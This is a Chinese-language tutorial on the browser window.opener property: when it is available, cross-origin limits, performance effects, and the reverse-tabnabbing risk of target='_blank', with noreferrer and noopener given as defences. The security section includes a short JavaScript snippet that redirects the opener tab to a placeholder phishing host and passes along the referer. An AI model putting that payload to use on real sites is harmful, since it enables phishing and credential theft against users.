1.window.opener作用
The
Window
interface’sopener
property returns a reference to the window that opened the window, either withopen()
, or by navigating a link with atarget
attribute.In other words, if window A opens window B, B.opener returns A.
也就是说,用<a target="_blank">
打开的页面,可以直接用window.opener
来访问源页面的window
对象。(但在现在需要添加rel="opener"
才能生效)
2.opener存在的条件
在2018年左右以前,通过
<a target="_blank">
开启的新窗口都默认带有window.opener
,但在Chrome release 88和Safari release 68中都已默认对<a target="_blank">
实现noopener
,因此如今在以下情况window.opener
会返回null
:
- 链接加上
rel=noopener
属性 - 用
<a target="_blank">
打开,但没加上rel=opener
- 带有
Cross-Origin-Opener-Policy: same-origin
头
所以要在子页面中使用window.opener
,需要将请求头设为Cross-Origin-Opener-Policy: unsafe-none
(默认),使用<a target="_blank" rel="opener">
,或用JS语句window.open("...")
。
3.同源与跨域
浏览器提供了完整的跨域保护,在域名相同时,parent
对象和opener
对象实际上就直接是上一级的window
对象;而当域名不同时,parent
和opener
则是经过包装的一个global
对象。这个global
对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException
)。
4.性能
当opener
存在时,仅在同域情况下两标签页共用一个进程。
Chrome和Edge等都提供了GUI查看渲染进程的情况,通过 更多工具=>任务管理器 查看。
当新打开页面与原页面共用一个进程,若执行一个庞大的JavaScript脚本,那么原标签页也会受到影响,可能出现卡顿的现象。
而如果在链接中加入了noopener
,两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。
5.安全性
参考: 危险的 target="_blank" 与 “opener”
如果一个链接使用了target="_blank" rel="opener"
,那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。
详细步骤
1.在你的网站https://example.com
上存在一个链接:<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>
2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过HTTP Header
中的Referer
属性来判断用户的来源。
并且,这个网站上包含着类似于这样的JavaScript
代码:
const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);
3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F
。
4.恶意网站https://a.fake.site
根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
5.用户关闭https://an.evil.site
的标签页,回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener
对象和parent
一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出DOMException
)。
但是与parent
不同的是,在跨域的情况下,opener
仍然可以调用location.replace
方法而parent
则不可以。
如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。
防御
- Referrer Policy 和 noreferrer
上面的攻击步骤中,用到了 HTTP Header 中的
Referer
属性,实际上可以在 HTTP 的响应头中增加ReferrerPolicy
头来保证来源隐私安全。
ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用<a>
标签的rel
属性来指定rel="noreferrer"
来保证来源隐私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
但是要注意的是:即使限制了referer
的传递,仍然不能阻止原标签被恶意跳转。
- noopener
为了安全,现代浏览器都支持在
<a>
标签的rel
属性中指定rel="noopener"
,这样,在打开的新标签页中,将无法再使用opener
对象了,它为设置为了null
。
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>